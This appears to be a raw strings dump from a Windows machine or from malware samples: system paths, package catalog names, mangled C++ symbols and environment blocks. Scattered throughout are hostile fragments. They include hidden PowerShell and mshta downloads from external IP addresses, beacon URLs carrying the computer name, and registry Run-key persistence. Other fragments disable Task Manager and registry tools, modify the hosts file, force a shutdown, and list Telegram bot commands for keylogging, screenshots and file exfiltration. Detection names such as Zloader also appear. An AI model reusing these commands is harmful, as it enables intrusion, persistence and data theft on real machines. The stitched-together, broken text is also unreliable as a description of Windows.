WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.27
Microsoft.Windows.UI.Shell.StartUI.WinRTHelpers
system32\\
	WINDOWS\system32\cmd.exe)
S/API/WindowsCortanaPane/V2/WSBServiceWorker.js
:\microsoft\windows\
c:\windows\system32\msctfime.iem
c:\windows\system32\cmd.exe/c"powershell-windowstylehidden-commandinvoke-webrequest-uri'http://8.217.152.225/
WINDOWS11
onecore\windows\core\console\open\src\tsf\consoletsf.cpp
onecore\windows\core\console\open\src\tsf\tfeditsession.cpp
!1onecore\windows\core\console\open\src\tsf\tfdispattr.cpp
onecore\windows\core\console\open\src\propslib\shortcutserialization.cpp
onecore\windows\core\console\open\src\renderer\wddmcon\wddmconrenderer.cpp
onecore\windows\core\console\open\src\renderer\base\fontresource.cpp
windows.protocol`
Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Mozilla/5.0 (Windows NT 6.2; ARM; Trident/8.0; Touch; rv:11.0; WPDesktop; BingRD) like Gecko
Mozilla/5.0 (Windows NT 6.2; ARM; Trident/8.0; Touch; rv:11.0; WPDesktop) like Gecko
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200
"http://m0.nu:8080/a/2a3vvkn2sacn/3/3rdx3qa33iirfymmi//%computername%"!%systemroot%\system32\shell32.dll%windir%\system32\cmd.exe
0"http://7d.wf:8080/atym6fqdhc/gfjp/tqn3g/kco/jejckba7l4urpd6spu7t/!computername!"%windir%\system32\imageres.dll
Lua:BatFileInWindowsFolder
Microsoft-Windows-Foundation-Group-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Windows.AI.MachineLearning.TensorInt16Bit
Windows.AI.MachineLearning.TensorInt32Bit
Windows.AI.MachineLearning.TensorInt64Bit
Windows.AI.MachineLearning.TensorInt8Bit
Windows.AI.MachineLearning.TensorString
Windows.AI.MachineLearning.TensorUInt16Bit
Windows.AI.MachineLearning.TensorUInt32Bit
Windows.AI.MachineLearning.TensorUInt64Bit
Windows.AI.MachineLearning.TensorUInt8Bit
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersH
MicrosoftWindowsStart MenuProgramsStartupupdater.lnkM
REGDELETE ( "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" , "BkavFwR
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" , "Shell" , "REG_SZ" , "Explorer.exe " & "regsvr" & ".exeS
Software\Microsoft\Windows\CurrentVersion\Run" , "Msn Messsenger" , "REG_SZ" , @SYSTEMDIR & "\" & "regsvr" & ".exeS
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" , "NofolderOptions" , "REG_DWORD" , 0H
REGWRITE ( "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" , "DisableTaskMgr" , "REG_DWORD" , 0R
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" , "DisableRegistryTools" , 
/MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata
&MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global
2e^windows.appExtension
Mozilla/5.0 (Windows NT 10.0; Win64; x
Mozilla/5.0 (Windows NT 10.0; Win64; x
Microsoft.Windows.Dwm.DwmInit
Microsoft.Windows.Wil.FeatureLogging
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
!#SCRIPT:PowerShell/WindowsCredentials!passwordvault
]windows.security.credentials.passwordvault
hkcu\software\policies\microsoft\windows\system"/vdisablecmd/treg_dword/d1/f
c:\windows\
c:\windows\
c:\windows\
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Tools
APPDATA=C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\ServiceProfiles\NetworkService
windir=C:\WINDOWS
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.GetRuntimeId
System.Windows.Forms.UnsafeNativeMethods.IAccessibleEx.GetRuntimeId
bMicrosoft-Windows-CoreSystem-DXG-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.1742i
Microsoft-Windows-CoreSystem-DXG-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
iMicrosoft-Windows-CoreSystem-DXG-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
5Microsoft-Windows-CoreSystem-DXG-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-RemoteFS-Package~31bf3856ad364e35~amd64~~10.0.26100.1742l
eMicrosoft-Windows-CoreSystem-RemoteFS-Package~31bf3856ad364e35~amd64~~10.0.26100.1742,
Microsoft-Windows-WOWSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.712
Microsoft-Windows-WOWSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.712
MICROSOFT.WINDOWS.CONTENTDELIVERYMANAGER_CW5N1H2TXYEWY!APP
Microsoft.Windows.Defender.SecurityHealthAgent
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.
Microsoft.Windows.
WINDOWS.INTERNAL.SECURITY.AUTHENTICATION.WEB.TOKENBROKERINTERNAL
GLOBAL.WINDOWSPERSONACARD.APPX6VCM33XZ1VNZERTRAHEQRMAH45WQCB0H.WWA
WINDOWS.APPLICATIONMODEL.CONTRACTS.INTERNAL.ONDEMANDBROKEREXECUTOR
Microsoft.Windows.RulesEngineLogging
WINDOWS.INTERNAL.SECURITY.AUTHENTICATION.WEB.WAMPROVIDERREGISTRATION
Microsoft.Windows.Security.BCrypt
GLOBAL.WINDOWSPERSONACARD.APPX8MQWB6JAMJ7BP6KJ3WTBAZ5N9BEP069Q.MCA
Microsoft.Windows.Security.BCrypt
GLOBAL.WINDOWSMIGRATION.APPXX0DCV1P0APFFYAEZJ0EJZ1EF041TK0ES.MCA
Microsoft.Windows.WinRTClassActivation
WINDOWS.SECURITY.AUTHENTICATION.WEB.CORE.WEBAUTHENTICATIONCOREMANAGER
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.TlgAggregateInternal
WINDOWS.APPLICATIONMODEL.BACKGROUND.BACKGROUNDWORKMANAGER
Microsoft.Windows.Com.PoFAggregate
EnumWindows
'\Microsoft\Windows Defender\Platform\4.18.26010.5-0\Mp#
	WINDOWS\system32\cmd.exe/
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way 
../../../../third_party/wp.client/msinternal/src/base/core/windows/named_mutex-win.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/ip_address-win.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/dns-win.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/registry.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/chrono-win.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/win_locale.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/thread-win.cpp
../../../../third_party/wp.client/msinternal/src/base/crypto/src/windows/signature_info-win.cpp
../../../../third_party/wp.client/msinternal/src/base/crypto/src/windows/certificate-win.cpp
../../../../third_party/wp.client/msinternal/src/base/crypto/src/windows/authenticode_info-win.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/device.cpp
WldpQueryWindowsLockdownMode
SLGetWindowsInformationDWORD
SlGetWindowsInformationDword
C:\Users\ContainerAdministrator\ESP\ESP.Build\third_party\wp.client\msinternal\src\base\core\windows\../src/delay_load.h
WindowsGetStringRawBuffer
CombaseWindowsGetStringRawBuffer nullptr
../../../../third_party/wp.client/msinternal/src/base/core/windows/uuid-win.cpp
../../../../third_party/wp.client/msinternal/src/base/core/windows/string_util-win.cpp
WindowsDeleteString
WindowsCreateString
windowsCreateString
C:\Users\ContainerAdministrator\ESP\ESP.Build\third_party\wp.client\msinternal\src\base\core\windows\online_auth.h
AGGR:CommonWindowsDllLocations
NDOWS\system32 @
:\WINDOWS\Sy
C:\WINDOWS\system32\Wi
oot=C:\WINDOWS
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\ServiceProfiles\NetworkService
windir=C:\WINDOWS
OMPUTERNAME=WINDOWS113
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
 Windows 10 
|windows|narrator|@
 fWindows N
windows 
temRoot%\system32\mswsock.dll
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
Windows.Data.PlaceholderTile
Windows.Data.Common.Rect
LOGONSERVER=\\WINDOWS11
Windows.Data.Common.Point
COMPUTERNAME=WINDOWS11
Windows.Data.Common.Size
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
Windows.Data.Common.Color
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
USERDOMAIN=Windows11
C:\WINDOWS\system32\DRIVERS\
:\windows\media\
:\windows\media\
c:\windows\
c:\windows\
c:\windows\
c:\windows\
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
sc:\windows\system32\mshta.exehttp://8.140.234.141
^windows.appExtension
\Windows\Factories\U"	
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
WINDOWS11
WINDOWS11
ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
SvcUpdate_WindowsUpdateService_svchost_%s/bot%s/sendDocument/saludo/screenshot/keylog <start|stop|dump>/exfil_get <nombre_archivo> <ruta>/clipboard/list_victims
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
?get@Right@Rect@Foundation@Windows@@QEAAMXZ
?get@Bottom@Rect@Foundation@Windows@@QEAAMXZ
Microsoft-Windows-Kernel-StoreMgT
qQSoftware\Microsoft\Windows\CurrentVersion\Uninstall\Fruity\bjergvrksdriftenInterlocating\Supereligibleness.Varn
windows,
|windows credential manager<
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
.windows-int.net1&0
.windows.com1&0
insidersurveys.windows.com0 
www.insidersurveys.windows.com06
.windows.net1&0
.windowsazure.com1&0
.windowsmedia.com1&0
.windowsphone-int.com1&0
.windowsphone-int.net1&0
.windowsphone.com1)0
.windowsphone.net1&0
.windowssearch.com1&0
.windowsstore.com1&0
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
lxattrib +H +S C:\WINDOWS
IsWindows2000OrHigher
IsWindowsXPOrHigher
WINDOWS\resources\nikass.gif
WINDOWS\resources\nikass.gif
_SystemRoot%\System32\svchost.exe -k imgsvcS
	\windows\currentversion\)
C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat""
be^windows.activatableClass.outOfProcessServer
be^windows.comServer
be^windows.appExtension
(MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost
=MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
1MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProF
MP=C:\WINDOWS\TEMP
system32\config
hs' , NameMaquina , 'name');ChatWnd.SendMessage(Mensajes[Random]);fopen ( "c:/windows/system32/drivers/etc/hosts", "a+" 8
\windows\currentversion\msrtn\p
windows.hlp
nal@Widgets@Windows@Microsoft
%20Windows%20Code%20Signing%20PCA%202024.crl0w
NhHXaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UHomePage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$require@UHomePage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@
s\system32
n8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A
u Windows c
u Windows c
u Windows 
u Windows 
u Windows c
u Windows c
u Windows 
u Windows 
if(-not([security.principal.windows
hc:\windows\system32\mshta.exe
f^Microsoft.Windows.XGpuEjectDialo
rwindows 
dir%\system32\vsocklib.dl
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WIND
ft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\sy
C:\WINDOWS\system32\wbem\wmiprvse.exe
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
W?$function@$$A6A?AUIndexPath@Controls@Xaml@UI@Windows@winrt@@AEBV?$vector@USelectedItemInfo@@V?$alloca 
tshutdown -r -t 11 -f>>c:windowshartlell.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /freg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f!#ALF:Trojan:Win32/Zloader.SIBD!MTB
c:/windows/system32/dt
c:/windows/system32/dl
Diagnostics::CollectNonVolatileWindowsShellData
be6cba0511c242e888b27d4b3e3e8734_WindowsSECrossUserScopeMove
(xWindows\ShellNoRoam\MUICache
\C:\WINDOWS\System32\msnmsgs.exe
c:\windows\
c:\windows\
greeting cardfirewall add allowedprogram c:\windows\temp\spool\spoolsv.exe spoolsvsystem\currentcontrolset\services\svchost\parameters@$&%04\taskbar.dll@$&%04\xmas.jpg@$&%04\dr.mrc@$&%04\popups.txt+h +s @$&%02\temp\spool
c:\windows\system32\
c:\windows\system32\svch
c:\windows\system32\
c:\windows\system32\dllcache\
c:\windows\system32\
c:\windows\
c:\windows\system\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 20110
\\WINDOWS11
\\WINDOWS11
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
"microsoft\windows\startmenu\programs\startup","
appdata%\microsoft\windows\startmenu\programs\startup"set
windows defender advanced threat protection
'binpath="c:\windows\temp\db\rdp\rdp\binaries\wsgate.exe"
\\winlogon\\shell";
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\mssmbios.sys[MofResource]
C:\WINDOWS\System32\drivers\processr.sys[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]X
C:\WINDOWS\System32\drivers\HDAudBus.sys[HDAudioMofName]X
C:\WINDOWS\System32\Drivers\portcls.SYS[PortclsMof]
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Wiperpyi-windows-manifest-filename Microsoft Account Manager.exe.manifest!#HSTR:GoFileExpress
PopulateInitialWindows
Microsoft.Windows.Dwm.WindowNotif
Microsoft-Windows-Composition-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
windows.protocol
windows.hlp
WINDOWS\system32\cmd.ex_
USERDOMAIN_ROAMINGPROFILE=Windows110
onecoreuap\windows\moderncore\inputv2\bamos\server\system\inputsysteminternalserverconnection.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\controller\lib\controllerprocessor.cpp
onecoreuap\windows\moderncore\inputv2\Bamos\codegen\system\objfre\amd64\ISMBamos.Common.bamo.h
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\lib\dwminputtarget.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellgestures\processor\shellgesturesprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\components\inputgestures\system\gesturehandler.cpp
Sonecoreuap\windows\moderncore\inputv2\systeminputhosts\onecoreuap\lib\deviceinputhost.cpp
konecoreuap\windows\moderncore\inputv2\rawinputproviders\gamecontroller\lib\gamecontrollerrawinputprovider.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\lib\dwmlegacyinputtarget.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\hidlamprangeupdatereportparser.cpp
